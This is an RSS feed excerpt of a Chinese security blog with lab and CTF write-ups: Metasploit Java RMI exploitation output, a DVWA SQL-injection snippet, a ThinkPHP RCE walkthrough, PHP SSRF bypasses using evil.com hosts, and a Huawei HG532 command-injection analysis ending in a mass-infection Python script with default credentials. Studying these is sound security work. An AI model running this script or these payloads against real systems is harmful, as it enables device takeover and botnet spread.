Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                               normal     No     Java RMI Registry Interfaces Enumeration
   1  auxiliary/scanner/misc/java_rmi_server          2011-10-15       normal     Yes    Java RMI Server Insecure Endpoint Code Execution Scanner
   2  exploit/multi/browser/java_rmi_connection_impl  2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   3  exploit/multi/misc/java_rmi_server              2011-10-15       excellent  No     Java RMI Server Insecure Default Configuration Java Code Execution
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检测到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 auxiliary(scanner/misc/java_rmi_server) &amp;gt; exploit 

[+] 192.168.182.134:1099  - 192.168.182.134:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] 192.168.182.134:1099  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Class Loader Enabled&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;java_rmi_server&lt;/code&gt;进行攻击，但是并没有成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 exploit(multi/misc/java_rmi_server) &amp;gt; exploit 

[*] Started reverse TCP handler on 192.168.182.133:4444 
[*] 192.168.182.134:1099 - Using URL: http://0.0.0.0:8080/3KFzyXCBVe
[*] 192.168.182.134:1099 - Local IP: http://192.168.182.133:8080/3KFzyXCBVe
[*] 192.168.182.134:1099 - Server started.
[*] 192.168.182.134:1099 - Sending RMI Header...
[*] 192.168.182.134:1099 - Sending RMI Call...
[*] 192.168.182.134:1099 - Replied to request for payload JAR
[*] Sending stage (53845 bytes) to 192.168.182.134
[*] Meterpreter session 3 opened (192.168.182.133:4444 -&amp;gt; 192.168.182.134:35718) at 2019-10-05 06:47:47 -0400
[-] 192.168.182.134:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn&apos;t get a payload request
[*] 192.168.182.134:1099 - Server stopped.
[*] Exploit completed, but no session was created.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.4hou.com/web/15388.html&quot;&gt;Java RMI漏洞利用&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>ctf入门第一课</title><link>https://rayepeng.net/posts/ctf%E5%85%A5%E9%97%A8%E7%AC%AC%E4%B8%80%E8%AF%BE/</link><guid isPermaLink="true">https://rayepeng.net/posts/ctf%E5%85%A5%E9%97%A8%E7%AC%AC%E4%B8%80%E8%AF%BE/</guid><pubDate>Thu, 26 Sep 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;ctf入坑&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/&quot;&gt;ctfwiki&lt;/a&gt;是一个很好的入门资源&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_41177699/article/details/89467911&quot;&gt;适合新手的CTF靶场合集&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最经典的靶场&lt;a href=&quot;https://ctf.bugku.com&quot;&gt;bugkuctf&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;如何学习&lt;/h2&gt;
&lt;p&gt;学会做笔记——使用markdown快速整理你的思路&lt;/p&gt;
&lt;p&gt;论博客的重要性——Github pages or Wordpress or 各大博客平台(简书，csdn，博客园，掘金等等)&lt;/p&gt;
&lt;p&gt;学会分享——分享自己所学到的知识&lt;/p&gt;
&lt;p&gt;学会使用python&lt;/p&gt;
&lt;h2&gt;如何提问&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/danky/article/details/1370632&quot;&gt;提问的艺术&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Web安全&lt;/h2&gt;
&lt;p&gt;Web安全主要包含——SQL注入，XSS跨站，SSRF，各种web框架的审计等&lt;/p&gt;
&lt;h3&gt;SQL注入&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;sqlmap&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.runoob.com/sql/sql-tutorial.html&quot;&gt;SQL教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;前端与后台是如何交互的&lt;/p&gt;
&lt;p&gt;输入1返回的值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dvwa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后台的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if( isset( $_REQUEST[ &apos;Submit&apos; ] ) ) {
	// Get input
	$id = $_REQUEST[ &apos;id&apos; ];
	// Check database
	$query  = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;;
	$result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;],  $query ) or die( &apos;&amp;lt;pre&amp;gt;&apos; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &apos;&amp;lt;/pre&amp;gt;&apos; );
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点关注：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;where&lt;/code&gt;语句的用法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dvwa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;详情参考&lt;a href=&quot;/posts/dvwa%E5%AD%A6%E4%B9%A0/&quot;&gt;DVWA学习&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;栗子&lt;a href=&quot;/posts/sql%E6%B3%A8%E5%85%A5%E5%AE%9E%E8%B7%B5/&quot;&gt;sql注入实践&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;墨者的一道&lt;a href=&quot;http://219.153.49.228:47452/new_list.php?id=1&quot;&gt;题目&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看到新闻页面&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接上&lt;code&gt;sqlmap&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爆表&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;指定数据库爆表&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;指定表爆字段&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将表全部dump出来&lt;/p&gt;
&lt;p&gt;突然出问题了。。&lt;/p&gt;
&lt;h3&gt;XSS跨站&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/web/xss-zh/#self-xss&quot;&gt;参考ctfwiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;具体细节之后说&lt;/p&gt;
</content:encoded></item><item><title>thinkphp-rce分析</title><link>https://rayepeng.net/posts/thinkphp-rce%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/thinkphp-rce%E5%88%86%E6%9E%90/</guid><pubDate>Tue, 24 Sep 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;太惭愧了，今年一月份大火的thinkphp漏洞根本没关注，现在回过头来仔细分析下&lt;/p&gt;
&lt;h2&gt;开启debug模式&lt;/h2&gt;
&lt;p&gt;先放截图：&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/thinkphp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后开始一步步来搞&lt;/p&gt;
&lt;p&gt;&lt;code&gt;php-storm&lt;/code&gt;如何调试就不细说了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;thinkphp&lt;/code&gt;从这里开始启动，有机会一定要分析下&lt;code&gt;thinkphp&lt;/code&gt;是如何运行的&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/thinkphp0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里&lt;code&gt;F8&lt;/code&gt;一下先进入了一个&lt;code&gt;autoload&lt;/code&gt;函数，具体作用不是很清楚&lt;/p&gt;
&lt;p&gt;进入&lt;code&gt;run&lt;/code&gt;函数之后，会先实例化一个&lt;code&gt;$request&lt;/code&gt;&lt;br /&gt;
之后进行一些模块绑定的操作，之后进入&lt;code&gt;self::routerCheck&lt;/code&gt;函数，进行URL路由检测&lt;/p&gt;
&lt;p&gt;而&lt;code&gt;self::routerCheck&lt;/code&gt;函数又会调用&lt;code&gt;Route::check&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Route::check&lt;/code&gt;函数中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$url = str_replace($depr, &apos;|&apos;, $url);

if (strpos($url, &apos;|&apos;) &amp;amp;&amp;amp; isset(self::$rules[&apos;alias&apos;][strstr($url, &apos;|&apos;, true)])) {
    // 检测路由别名
    $result = self::checkRouteAlias($request, $url, $depr);
    if (false !== $result) {
        return $result;
    }
}
$method = strtolower($request-&amp;gt;method());
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];
// 检测域名部署
if ($checkDomain) {
    self::checkDomain($request, $rules, $method);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里最关键的就是&lt;code&gt;$method = strtolower($request-&amp;gt;method());&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;转过头来分析这个函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   /**
     * 当前的请求类型
     * @access public
     * @param bool $method  true 获取原始请求类型
     * @return string
     */   
public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? &apos;GET&apos; : (isset($this-&amp;gt;server[&apos;REQUEST_METHOD&apos;]) ? $this-&amp;gt;server[&apos;REQUEST_METHOD&apos;] : $_SERVER[&apos;REQUEST_METHOD&apos;]);
        } elseif (!$this-&amp;gt;method) {
            if (isset($_POST[Config::get(&apos;var_method&apos;)])) {
                $this-&amp;gt;method = strtoupper($_POST[Config::get(&apos;var_method&apos;)]);
                $this-&amp;gt;{$this-&amp;gt;method}($_POST);
            } elseif (isset($_SERVER[&apos;HTTP_X_HTTP_METHOD_OVERRIDE&apos;])) {
                $this-&amp;gt;method = strtoupper($_SERVER[&apos;HTTP_X_HTTP_METHOD_OVERRIDE&apos;]);
            } else {
                $this-&amp;gt;method = IS_CLI ? &apos;GET&apos; : (isset($this-&amp;gt;server[&apos;REQUEST_METHOD&apos;]) ? $this-&amp;gt;server[&apos;REQUEST_METHOD&apos;] : $_SERVER[&apos;REQUEST_METHOD&apos;]);
            }
        }
        return $this-&amp;gt;method;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/thinkphp1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时我们看到调用了&lt;code&gt;__construct&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/thinkphp2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 架构函数
 * @access protected
 * @param array $options 参数
 */
protected function __construct($options = [])
{
    foreach ($options as $name =&amp;gt; $item) {
        if (property_exists($this, $name)) {
            $this-&amp;gt;$name = $item;
        }
    }
    if (is_null($this-&amp;gt;filter)) {
        $this-&amp;gt;filter = Config::get(&apos;default_filter&apos;);
    }
    // 保存 php://input
    $this-&amp;gt;input = file_get_contents(&apos;php://input&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>华为路由器 H532G 漏洞分析</title><link>https://rayepeng.net/posts/%E5%8D%8E%E4%B8%BA%E8%B7%AF%E7%94%B1%E5%99%A8-h532g-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8D%8E%E4%B8%BA%E8%B7%AF%E7%94%B1%E5%99%A8-h532g-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid><pubDate>Fri, 20 Sep 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;漏洞分析&lt;/h2&gt;
&lt;p&gt;这次出问题的点是&lt;code&gt;upnp&lt;/code&gt;程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;home/oit/Downloads/_router HG532e.rar-0.extracted/_HG532eV100R001C01B020_upgrade_packet.bin.extracted/squashfs-root/bin [oit@ubuntu] [18:36]
&amp;gt; file upnp 
upnp: ELF 32-bit MSB  executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是MIPS32位大端格式&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;UPnP 是由“通用即插即用论坛”（UPnP™ Forum）推广的一套网络协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;丢到IDA中分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LOAD:004074FC                 la      $a1, aNewstatusurl  # &quot;NewStatusURL&quot;
LOAD:00407500                 move    $a2, $zero
LOAD:00407504                 jalr    $t9 ; ATP_XML_GetChildNodeByName
LOAD:00407508                 addiu   $a3, $sp, 0x24
LOAD:0040750C                 lw      $gp, 0x18($sp)
LOAD:00407510                 bnez    $v0, loc_407564
LOAD:00407514                 move    $s1, $v0
LOAD:00407518                 lw      $v0, 0x24($sp)
LOAD:0040751C                 nop
LOAD:00407520                 beqz    $v0, loc_407564
LOAD:00407524                 addiu   $s0, $sp, 0x28
LOAD:00407528                 la      $t9, snprintf
LOAD:0040752C                 lw      $a3, 0x20($sp)
LOAD:00407530                 la      $a2, aUpgGUST1Firmwa  # &quot;upg -g -U %s -t &apos;1 Firmware Upgrade Ima&quot;...
LOAD:00407538                 move    $a0, $s0
LOAD:0040753C                 li      $a1, 0x400
LOAD:00407540                 jalr    $t9 ; snprintf
LOAD:00407544                 sw      $v0, 0x10($sp)
LOAD:00407548                 lw      $gp, 0x18($sp)
LOAD:0040754C                 nop
OAD:00407520                 beqz    $v0, loc_407564
LOAD:00407524                 addiu   $s0, $sp, 0x28
LOAD:00407528                 la      $t9, snprintf
LOAD:0040752C                 lw      $a3, 0x20($sp)
LOAD:00407530                 la      $a2, aUpgGUST1Firmwa  # &quot;upg -g -U %s -t &apos;1 Firmware Upgrade Ima&quot;...
LOAD:00407538                 move    $a0, $s0
LOAD:0040753C                 li      $a1, 0x400
LOAD:00407540                 jalr    $t9 ; snprintf
LOAD:00407544                 sw      $v0, 0x10($sp)
LOAD:00407548                 lw      $gp, 0x18($sp)
LOAD:0040754C                 nop
LOAD:00407550                 la      $t9, system #执行system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析upnp描述信息后 发现该设备支持名为&lt;code&gt;DeviceUpgrade&lt;/code&gt;的一种服务类型 设备可以通过这种服务更新固件 具体过程是向&lt;code&gt;“/ctrlt/DeviceUpgrade_1”&lt;/code&gt;这个地址提交请求 请求中包含NewStatusURL及NewDownloadURL两个元素。&lt;br /&gt;
远程管理员可以通过该漏洞在设备上执行任意命令 将shell元字符 注入NewStatusURL以及NewDownloadURL元素中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://prontosil.club/ctfsmallbook/IOT/assets/poc-1568898827379.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先调用了一个xml相关的函数，获取参数的值，很明显的看到了参数拼接的行为，之后调用了&lt;code&gt;system&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;snprintf($s0, 0x400, &apos;upg -g -U %s -t &apos;1 Firmware Upgrade Image&apos; -c upnp -r %s -d -&apos;, NewDownloadURL, NewStatusURL)

system($s0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过还有一个认证机制需要 &lt;code&gt;Authorization&lt;/code&gt; 头 才能过掉 &lt;code&gt;check&lt;/code&gt;, 否则会 &lt;code&gt;401&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://prontosil.club/ctfsmallbook/IOT/assets/006daSSqgy1fyhykbu0axj30fw074dg9.jpg&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;实际测试&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar&quot;&gt;路由器下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;尝试直接运行脚本失败了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@ml-vm:/home/oit/tools/fat# ./sources/extractor/extractor.py -b iot -sql 127.0.0.1 -np -nk &quot;./HG532e.rar&quot; images
-----------------Extractor Start----------------
input:./HG532e.rar
output:images
rootfs:True
kernel:False
parallel:False
sql:127.0.0.1
brand:iot
-----------------Extractor End------------------
&amp;gt;&amp;gt; Database Image ID: 146

/home/oit/tools/fat/HG532e.rar
&amp;gt;&amp;gt; MD5: 9986b8aee8e1eb511a8bbb3a39b485e4
&amp;gt;&amp;gt; Tag: 146
&amp;gt;&amp;gt; Temp: /tmp/tmpLXreHs
&amp;gt;&amp;gt; Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True
&amp;gt;&amp;gt;&amp;gt;&amp;gt; RAR archive data, first volume type: MAIN_HEAD
&amp;gt;&amp;gt; Recursing into archive ...
Traceback (most recent call last):
  File &quot;./sources/extractor/extractor.py&quot;, line 425, in extract
  File &quot;./sources/extractor/extractor.py&quot;, line 472, in _check_archive
  File &quot;./sources/extractor/extractor.py&quot;, line 693, in _check_recursive
  File &quot;./sources/extractor/extractor.py&quot;, line 381, in extract
UnicodeDecodeError: &apos;ascii&apos; codec can&apos;t decode byte 0xd8 in position 37: ordinal not in range(128)
&amp;gt;&amp;gt; Cleaning up /tmp/tmpLXreHs...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打算用qemu运行一个虚拟机来搞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@ml-vm:/mnt/hgfs/IOTEXP/_router HG532e.rar.extracted/_HG532eV100R001C01B020_upgrade_packet.bin.extracted# sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append &quot;root=/dev/sda1 console=tty0&quot; -nographic -net nic -net tap,ifname=br0,script=no,downscript=no
[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.32-5-4kc-malta (Debian 2.6.32-48squeeze4) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 Tue Sep 24 00:02:22 UTC 2013
[    0.000000] 
[    0.000000] LINUX started...
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[    0.000000] FPU revision is: 00739300
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00001000 @ 00000000 (reserved)
...
[    0.000000] SLUB: Genslabs=7, HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:256
[    0.000000] CPU frequency 200.00 MHz
[    0.000000] Console: colour dummy device 80x25
[    0.000000] console [tty0] enabled, bootconsole disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是一直没有打开shell&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://people.debian.org/~aurel32/qemu/mips/&quot;&gt;ebian mips qemu镜像&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;换了一个磁盘和内核，成功地开启了虚拟机但是网络配置没有成功&lt;/p&gt;
&lt;p&gt;未完待续。。&lt;/p&gt;
&lt;p&gt;修改了一下&lt;code&gt;/etc/network/interfaces&lt;/code&gt;成功了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scp -r ./squashfs-root  root@192.168.104.187:/root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文件拷贝进去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://prontosil.club/ctfsmallbook/IOT/assets/1568899195225.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入虚拟机之后开启服务&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://prontosil.club/ctfsmallbook/IOT/assets/1568899403542.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://prontosil.club/ctfsmallbook/IOT/assets/1568899461104.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], &quot;r&quot;).readlines()
cmd = &quot;&quot; # Your MIPS (SSHD)
rm = &quot;&amp;lt;?xml version=\&quot;1.0\&quot; ?&amp;gt;\n    &amp;lt;s:Envelope xmlns:s=\&quot;http://schemas.xmlsoap.org/soap/envelope/\&quot; s:encodingStyle=\&quot;http://schemas.xmlsoap.org/soap/encoding/\&quot;&amp;gt;\n    &amp;lt;s:Body&amp;gt;&amp;lt;u:Upgrade xmlns:u=\&quot;urn:schemas-upnp-org:service:WANPPPConnection:1\&quot;&amp;gt;\n    &amp;lt;NewStatusURL&amp;gt;$(&quot; + cmd + &quot;)&amp;lt;/NewStatusURL&amp;gt;\n&amp;lt;NewDownloadURL&amp;gt;$(echo HUAWEIUPNP)&amp;lt;/NewDownloadURL&amp;gt;\n&amp;lt;/u:Upgrade&amp;gt;\n    &amp;lt;/s:Body&amp;gt;\n    &amp;lt;/s:Envelope&amp;gt;&quot;
class exploit(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip(&apos;\n&apos;)
        def run(self):
            try:
                url = &quot;http://&quot; + self.ip + &quot;:37215/ctrlt/DeviceUpgrade_1&quot;
                requests.post(url, timeout=5, auth=HTTPDigestAuth(&apos;dslf-config&apos;, &apos;admin&apos;), data=rm)
                print &quot;[SOAP] Attempting to infect &quot; + self.ip
            except Exception as e:
                pass
for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确实成功了&lt;/p&gt;
&lt;p&gt;但是没有虚拟机上没有这个命令emmm&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://prontosil.club/ctfsmallbook/IOT/assets/1568899744970.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://paper.seebug.org/490/&quot;&gt;Huawei HG532 系列路由器远程命令执行漏洞分析&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://paper.seebug.org/490/&quot;&gt;CVE-2017-17215路由器漏洞分析&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>PHP SSRF Techniques</title><link>https://rayepeng.net/posts/php-ssrf-techniques/</link><guid isPermaLink="true">https://rayepeng.net/posts/php-ssrf-techniques/</guid><pubDate>Wed, 21 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;写前面&lt;/h2&gt;
&lt;p&gt;这篇文章讲的实在是太棒了 &lt;a href=&quot;https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51&quot;&gt;https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;php版本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   echo &quot;Argument: &quot;.$argv[1].&quot;\n&quot;;
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match(&apos;/google\.com$/&apos;, $r[&apos;host&apos;])) {
         // get page from URL
         exec(&apos;curl -v -s &quot;&apos;.$r[&apos;host&apos;].&apos;&quot;&apos;, $a);
         print_r($a);
      } else {
         echo &quot;Error: Host not allowed&quot;;
      }
   } else {
      echo &quot;Error: Invalid URL&quot;;
   }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先调用了&lt;code&gt;filter_var&lt;/code&gt;进行URL的验证，然后再用&lt;code&gt;parse_url&lt;/code&gt;去解析URL，php7的版本中这个函数是没有问题的&lt;/p&gt;
&lt;p&gt;同时通过&lt;code&gt;preg_match&lt;/code&gt;函数限定只能以&lt;code&gt;google.com&lt;/code&gt;结尾&lt;/p&gt;
&lt;p&gt;如果达到ssrf呢？&lt;/p&gt;
&lt;p&gt;正常情况下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;攻击者：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时$r[‘host’]显然不是以&lt;code&gt;google.com&lt;/code&gt;结尾的&lt;/p&gt;
&lt;h2&gt;绕过URL验证和正则表达式&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;许多URL schema保留某些特殊含义的字符：它们在URL的特定于方案的部分中的外观具有指定的语义。如果在方案中保留对应于八位字节的字符，则必须对八位字节进行编码。字符“;”，“/”，“？”，“：”，“@”，“=”和“＆”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php7.png&quot; alt=&quot;什么是URL schema&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通常会用一些保留字符，比如&lt;code&gt;;&lt;/code&gt;和&lt;code&gt;=&lt;/code&gt;，&lt;code&gt;,&lt;/code&gt;分割参数和参数值&lt;/p&gt;
&lt;p&gt;一个可能是用&lt;code&gt;name;v=1.1&lt;/code&gt;来表示name=version 1.1,然而也可以用&lt;code&gt;name,1.1&lt;/code&gt;达到相同的效果，这根据算法来区分&lt;/p&gt;
&lt;p&gt;curl或者wget会认为&lt;code&gt;evil.com;google.com&lt;/code&gt;中&lt;code&gt;hostname&lt;/code&gt;为&lt;code&gt;evil.com&lt;/code&gt;,&lt;code&gt;querystring&lt;/code&gt;为&lt;code&gt;google.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是并没有绕过&lt;code&gt;filter_var&lt;/code&gt;函数&lt;br /&gt;
&lt;code&gt;filter_var()&lt;/code&gt;函数可以解析很多不同的URL scheme&lt;/p&gt;
&lt;p&gt;如果改成这样：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php9.png&quot; alt=&quot;随便改，改成不认识的就行&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时已经成功地绕过了URL验证和正则表达式&lt;/p&gt;
&lt;p&gt;但是curl命令却没有执行，于是考虑加上端口号&lt;/p&gt;
&lt;p&gt;再次修改：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;php test.php &quot;111://evil.com:80;google.com:80/&quot;&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同样用逗号也行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;parse_url只会尽可能地分割URL，而不是验证它，作者还提到了一种更好的方式：&lt;/p&gt;
